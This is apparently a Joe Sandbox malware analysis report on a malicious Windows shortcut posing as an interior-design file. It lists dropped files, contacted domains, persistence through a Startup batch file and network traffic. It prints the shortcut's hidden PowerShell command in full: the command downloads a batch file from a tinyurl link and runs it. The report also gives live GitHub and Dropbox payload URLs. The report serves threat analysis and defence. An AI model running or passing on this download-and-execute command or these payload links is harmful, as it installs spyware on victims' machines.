C:\Users\Public\Document\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libffi-7.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\Public\Document\Lib\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\aifc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\argparse.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ast.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asynchat.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncore.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\base64.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bdb.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\binhex.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bisect.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bz2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cProfile.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\calendar.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cgi.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cgitb.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\chunk.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cmd.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\code.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\codecs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\colorsys.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\compileall.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\configparser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\contextlib.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\contextvars.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\copy.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\copyreg.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\crypt.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://bugs.python.org/issue6857.	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14720	0%	Avira URL Cloud	safe
http://zooko.com/	0%	Avira URL Cloud	safe
https://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com/cd/0/get/Cf8WDjKuZ7cpu5Q4oJ7_4q46emOuaLq1WwL0UAxa-mtWP1eMdbPKAAdvPU-47hQQOey-K8BoFxf5U6LcgzQCj4QGKZz22qT-bdLG65v1Y3FLkl0jP-wXqz6Inb4motnk7m2tD157M24VKB_UxMFHPz3T/file?dl=1	0%	Avira URL Cloud	safe
http://w3m.sourceforge.net/	0%	Avira URL Cloud	safe
https://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
http://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
http://lynx.isc.org/	0%	Avira URL Cloud	safe
http://www.egenix.com/files/python/platform.py	0%	Avira URL Cloud	safe
https://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com/cd/0/get/Cf8WDjKuZ7cpu5Q4oJ7_4q46emOu	0%	Avira URL Cloud	safe
http://artax.karlin.mff.cuni.cz/~mikulas/links/	0%	Avira URL Cloud	safe
http://bugs.python.org/issue10811	0%	Avira URL Cloud	safe
http://bugs.python.org/issue24068.	0%	Avira URL Cloud	safe
http://bugs.python.org)	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
tinyurl.com	104.17.112.233	true	false	high
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
ip-api.com	208.95.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com	unknown	unknown	true	unknown
www.dropbox.com	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com/cd/0/get/Cf8WDjKuZ7cpu5Q4oJ7_4q46emOuaLq1WwL0UAxa-mtWP1eMdbPKAAdvPU-47hQQOey-K8BoFxf5U6LcgzQCj4QGKZz22qT-bdLG65v1Y3FLkl0jP-wXqz6Inb4motnk7m2tD157M24VKB_UxMFHPz3T/file?dl=1	false	Avira URL Cloud: safe	unknown
https://github.com/ty9989/z/raw/main/T3.zip	false		high
http://ip-api.com/json/?fields=8195	false		high
https://raw.githubusercontent.com/ty9989/z/main/T3.zip	false		high
https://github.com/ty9989/u/raw/main/ud.bat	false		high
https://tinyurl.com/tt34x	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.17.112.233	tinyurl.com	United States	13335	CLOUDFLARENETUS	false
162.125.69.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report interior-design-villa-a23.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\DLLs\_asyncio.pyd

C:\Users\Public\Document\DLLs\_bz2.pyd

C:\Users\Public\Document\DLLs\_ctypes.pyd

C:\Users\Public\Document\DLLs\_ctypes_test.pyd

C:\Users\Public\Document\DLLs\_decimal.pyd

C:\Users\Public\Document\DLLs\_elementtree.pyd

C:\Users\Public\Document\DLLs\_hashlib.pyd

C:\Users\Public\Document\DLLs\_lzma.pyd

C:\Users\Public\Document\DLLs\_msi.pyd

C:\Users\Public\Document\DLLs\_multiprocessing.pyd

C:\Users\Public\Document\DLLs\_overlapped.pyd

C:\Users\Public\Document\DLLs\_queue.pyd

Windows Analysis Report
interior-design-villa-a23.lnk

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc.2462784141360

C:\Users\Public\Document\Lib\pycache\_collections_abc.cpython-310.pyc.2462766881200

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc.2462777848368

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc.2462766888240

C:\Users\Public\Document\Lib\pycache\_sitebuiltins.cpython-310.pyc.2462771770544

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc.2462777838640

C:\Users\Public\Document\Lib\pycache\abc.cpython-310.pyc.2462771528624

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc.2462794904752

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc.2462777196592

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc.2462799287040

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc.2462803277424

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc.2462784129328

C:\Users\Public\Document\Lib\pycache\codecs.cpython-310.pyc.2462767037808

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc.2462771977776

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc.2462793656656

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc.2462771975216

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc.2462777214128

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc.2462771542064

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc.2462771770928

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc.2462771766576

C:\Users\Public\Document\Lib\pycache\genericpath.cpython-310.pyc.2462771772976

C:\Users\Public\Document\Lib\pycache\glob.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\glob.cpython-310.pyc.2462823540176

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc.2462777215792

C:\Users\Public\Document\Lib\pycache\heapq.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\heapq.cpython-310.pyc.2462793963248

C:\Users\Public\Document\Lib\pycache\hmac.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\hmac.cpython-310.pyc.2462798954064

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572140
Start date and time:	2024-12-10 07:14:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	80
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	interior-design-villa-a23.lnk
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winLNK@112/1495@7/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 35 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .lnk

Time	Type	Description
01:15:33	API Interceptor	81197x Sleep call for process: powershell.exe modified
06:15:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	ip-api.com/line/?fields=hosting
	run.cmd	Get hash	malicious	Unknown	Browse	ip-api.com/json/?fields=8195
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	f5ATZ1i5CU.exe	Get hash	malicious	RedLine, XWorm	Browse	ip-api.com/line/?fields=hosting
	R55-RFQ.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	YXHoexbTFp.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	ip-api.com/line/?fields=hosting
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	ip-api.com/line/?fields=hosting
149.154.167.220	APQSKVTvd60SdAM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	run.cmd	Get hash	malicious	Unknown	Browse
	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	1mr7lpFIVI.exe	Get hash	malicious	Unknown	Browse
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse
	jKDBppzWTb.exe	Get hash	malicious	AgentTesla	Browse
	Lenticels.exe	Get hash	malicious	Snake Keylogger	Browse
	Request for Quotation New collaboration.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Payment_Advice.vbs	Get hash	malicious	Unknown	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	APQSKVTvd60SdAM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	file.exe	Get hash	malicious	LummaC Stealer	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	file.exe	Get hash	malicious	LummaC Stealer	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	SigWeb.exe	Get hash	malicious	Unknown	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	http://xn--gmq700hb9ir4byxw.shop/bnBkL2ViZml0c2JwY0F7Zm1mdy9idWp0cHMkbHYvcGQvem1xanVtYnNmZC9xbmJ3MDA7dHF1dWk	Get hash	malicious	ReCaptcha Phish	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.125.69.18 185.199.109.133 20.233.83.145 104.17.112.233 162.125.69.15

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	15567748
Entropy (8bit):	7.995650949342625
Encrypted:	true
SSDEEP:	196608:xR0CVialvPFTbUufhlLb5Z41SYEBHetFJR+6wqYTWz+5PXa7zkho8Y0sVN4D4kQP:xRdPFfD5Zk1JR+TTWh7zkh3iqDOQat
MD5:	A3696493D165DF564EF3A2C7B6554FE0
SHA1:	A59F6996ED39D6C469D3CE12FC213AD5EBC9409B
SHA-256:	09859BE0E60957924A1BE21E49217768833AB4B0172A8F6CA47C6FBC24960D66
SHA-512:	5DF86CFF72629ACB0B5FF029CA0ADF79CC6C5C814AF373D7C0D0533979EB2A903877F27BC8D6666973E370C2F61657C4B5B1DD7F7B815BB985DB19206E4FADC2
Malicious:	true
Preview:	PK...........V.<B.............python.exe.Z}p[..O...C.I....<..q rdKv...9..u.I...T..'[E.T........j&m..3.n6.......'0.9b.'.6..mB:..../....nb.T{.O.dl(.t?..{..{........$.....J.2BXp./.z...+./$/.Y:..Y.....H.3...=.`0$.."...y..w~c+.....C.Y...'...~<..S.......^......8.?N2.G.....J.p....^.HR........S4....B........c.d..k.i..)#.....B...Q..E..Q.......KY3H.s...k.....w.g...@Q..".C..D+!{.9: ...#.k..rd..QFH..?..Z......#..I..K..A....b{E...Pdd..(S...`bD@.X..H.g...a&H..P..s.D#....\|C...>....y........f.m _. .V.\C.....W.d....[AH.H..-.].M.b\R.=Qt..4X.U....B.o.@.>..<.L!....%..P..b..sigB.w..!....wu..`.......-..W&s1'...#....=...c....s.>.K5.ob....=.+._.<...L........m.(-O..V.TAu"..}.Lv....%s.. fe.]....w......-.y._.'{...`..?.;o..]'b.....,.(..z.h...........\<...1...~...u....Kz...mk..J..R9....B..H..pF..&-j.%..Z5.....2...Ty%Cv1.n`.zA.P...\|..R.).+..[.....WN..J.p.c....y9.SJA.v..N.......+L...!3O@&'.......d.,.s..u<l`.^F..)....Sb/......T....1.J.9A>g;.2E.h..)S.....f...iI..;Lp

Process:	C:\Users\Public\Document\python.exe
File Type:	data
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.3537909003667865
Encrypted:	false
SSDEEP:	96:CgdNzUuGd+P2sKNUWOom2j8kQAnPPELBG0uY:P4BRROom1gPG00uY
MD5:	A241CD2EC5B30040F92F6384AC8B9606
SHA1:	FDE7F433DCA1B206351C2DFE8FA53FF0DCF1BA8C
SHA-256:	A35CDD959B7420DEA604258C2BA39F987807BBDE4F56227DD85C099F8013DE9B
SHA-512:	867EE02BD6E0AEF8BB61E6D85322D0635EDEFAE3D3FFE813907F33704B03A2DBF3399BFF5C1EC02E15866E60C45769D6266D20ED00748ED4414DF6F975BE8EE6
Malicious:	false
Preview:	o.......Z.,d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	3.0539426544479777
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	interior-design-villa-a23.lnk
File size:	2'287 bytes
MD5:	033e1509c8c2138bf1a76ea7f96635b4
SHA1:	b0c12eb7fb82f92567c4bfdeb860df702490ee1b
SHA256:	85482c2ff4c862c447c54bc32630e0416cf9bb39d0509a34e68a8bf5941b92ce
SHA512:	5d23fa83f11df2d417ad58cefa1a66a79f7c31ab898a499a7e59e12d5d0aaf803c50a45b0767f74f3bdb4918b42ce4f73c14895955136c1a98f616a189a41e75
SSDEEP:	24:8R1JtnyURef2E6rCiyjfzfC/UMkWTmC8AqddqVRXuHY9XQ6ciXehabTtLA4ef:831A36HAd0rXuHeXCiXqaS4
TLSH:	24419E107ADE0714E3F79A3264BBD21084767C65DD62CF1D4080458C2862A14D87AF77
File Content Preview:	L..................F.@......................................................5....P.O. .:i.....+00.../C:\...................V.1...........WINDOWS.@.............................................W.I.N.D.O.W.S.....Z.1...........system32..B.....................

General
Relative Path:	..\..\..\WINDOWS\system32\cmd.exe
Command Line Argument:	/c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden""
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:15:35.156372070 CET	50747	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:15:35.294460058 CET	53	50747	1.1.1.1	192.168.2.4
Dec 10, 2024 07:15:37.031377077 CET	56209	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:15:37.168163061 CET	53	56209	1.1.1.1	192.168.2.4
Dec 10, 2024 07:15:39.733118057 CET	49861	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:15:40.058571100 CET	53	49861	1.1.1.1	192.168.2.4
Dec 10, 2024 07:15:46.559765100 CET	53454	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:15:46.697997093 CET	53	53454	1.1.1.1	192.168.2.4
Dec 10, 2024 07:15:49.289259911 CET	52399	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:15:49.425617933 CET	53	52399	1.1.1.1	192.168.2.4
Dec 10, 2024 07:16:57.114811897 CET	60372	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:16:57.252521992 CET	53	60372	1.1.1.1	192.168.2.4
Dec 10, 2024 07:16:58.480890036 CET	53106	53	192.168.2.4	1.1.1.1
Dec 10, 2024 07:16:58.620680094 CET	53	53106	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:16:57.375983000 CET	158	OUT	GET /json/?fields=8195 HTTP/1.1 Host: ip-api.com User-Agent: python-requests/2.30.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive
Dec 10, 2024 07:16:58.473099947 CET	245	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:16:58 GMT Content-Type: application/json; charset=utf-8 Content-Length: 69 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d Data Ascii: {"country":"United States","countryCode":"US","query":"8.46.123.228"}